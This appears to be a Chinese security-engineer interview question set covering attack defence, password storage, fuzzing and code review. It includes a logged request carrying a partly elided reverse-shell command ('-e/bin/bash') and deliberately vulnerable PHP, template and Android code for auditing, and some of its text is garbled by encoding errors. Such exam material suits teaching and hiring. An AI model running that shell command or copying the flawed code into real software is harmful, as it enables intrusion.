安全工程師簡(jiǎn)答題
簡(jiǎn)答題：
請列舉防御CC攻擊的方法
審計這條web請求，說(shuō)說(shuō)你的看法
http://www.hack.cn/hack.php?cmd= ... 80-e/bin/bash 200
你發(fā)現110.2.3.4正在暴力破解你所管理的服務(wù)器，你應該如何處理?
硬件斷點(diǎn)和軟件點(diǎn)有什么不同?
從網(wǎng)絡(luò )流量上監測到一臺Linux機器連接著(zhù)一臺木馬控制端，在這臺機器上僅使用系統自帶的命令，如何定位出哪個(gè)是進(jìn)程連接的?
如果你設計一個(gè)賬號系統，為保障密碼的安全，你會(huì )如何設計存儲密碼?
非對稱(chēng)的加密算法可以用來(lái)加密，也可以用于簽名，請說(shuō)明什么場(chǎng)景下用來(lái)加密，什么情景下用來(lái)簽名?
ContentProvider是Android上負責提供數據讀寫(xiě)的組件，應用內部或者應用之間的數據共享與存儲都會(huì )使用 ContentProvider組件。 但在實(shí)際使用過(guò)程中，很容易出現各種安全問(wèn)題，請結合你實(shí)踐，描述一下在使用ContentProvider時(shí)，所需要注意的事項。
現有一套針對某個(gè)jpg文件庫的`fuzz環(huán)境，每秒鐘可以執行上千次fuzz實(shí)例，產(chǎn)生的crash很多，每次crash都有對應的crash dump，請說(shuō)如初步何篩選出有價(jià)值的crash，如何確定某個(gè)特定的crash對應的fuzz實(shí)例，以及如何確定一個(gè)crash是否是安全漏洞(假設我 們只關(guān)心緩沖區溢出漏洞)。
gcc編譯器支持的__attribute__ ((constructor))特性得以實(shí)現的底層機制跟ELF結構的哪個(gè)部分有關(guān)系?這個(gè)部分在現實(shí)中哪些地方可以用到?
代碼審計：
淘寶首頁(yè)以下代碼片段是否可能存在安全漏洞?如果有，請指出來(lái)并提供修復建議;如果沒(méi)有，說(shuō)明你判斷的理由
#set($url = $!request.getParameter('url'))
以下程序是否存在安全漏洞?如果有，請指出來(lái)并提供修復建議
交易狀態(tài)：
以下程序是否存在安全漏洞?如果有，請指出來(lái)并提供修復建議。
$id=$_GET['id'];
$getacct = mysql_query("select * from orders where id='$id' and client id='$fnm->clientid") or dir(mysql_error());
while ($row = mysql_fetch_array($getacct))
{
acctid = $row["id"];
?>
Cpanel User:
}
?>
在Linux系統中，我們通常使用終端shell腳本處理一些數據，十分高效便捷。
現在有以下兩個(gè)文件：
File1:
user passwd
Hoecker animal
Newbee 238H76N3
Buttes Paradis1
TRON995 fdcmdgeo
G60FgL LgEl9H
ozron44 oriole62
File2:
id user
001 Yosh405
002 Newbee
003 G60FgL
004 Hoecker
005 sudhakar0303
要求：
編寫(xiě)一段shell腳本，輸出同時(shí)存在于File1和File2中用戶(hù)名的密碼。(可使用管道命令，只輸出密碼)
以下是一段導出Activity的onCreate和onNewIntent函數中的代碼，請找出其中的所有漏洞并說(shuō)明可能產(chǎn)生的危害：
其中：alibaba.test.sender是同樣由淘寶開(kāi)發(fā)的另一個(gè)應用程序的package name。
此Activity對應的manifest文件中的定義：
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String calling_package= getCallingPackage();
if (!calling_package.equals("alibaba.test.sender")){
return;
}
�。�
protected void onNewIntent (Intent intent){
super.onNewIntent(intent);
Intent intent = getIntent();
Intent rec_intent;
rec_intent=intent.getParcelableExtra("log_intent");
Date date = new Date();
rec_intent.putExtra("timestamp",date.getTime());
rec_intent.putExtra("EVENT_TYPE","activity_launched");
rec_intent.setAction("LOG_ACTION");
sendBroadcast(rec_intent, "TAOBAO_BROADCAST_RECEIVER");
�。�
【安全工程師簡(jiǎn)答題】相關(guān)文章：
《教育知識與能力》簡(jiǎn)答題01-17
安全工程師報考條件03-31
教師資格考試簡(jiǎn)答題答題技巧04-03
沖壓工程師簡(jiǎn)歷03-18
售前工程師簡(jiǎn)歷03-12
品質(zhì)工程師簡(jiǎn)歷03-12
模具工程師簡(jiǎn)歷03-10
QE工程師簡(jiǎn)歷03-09
ios工程師簡(jiǎn)歷03-04
工程師介紹信12-31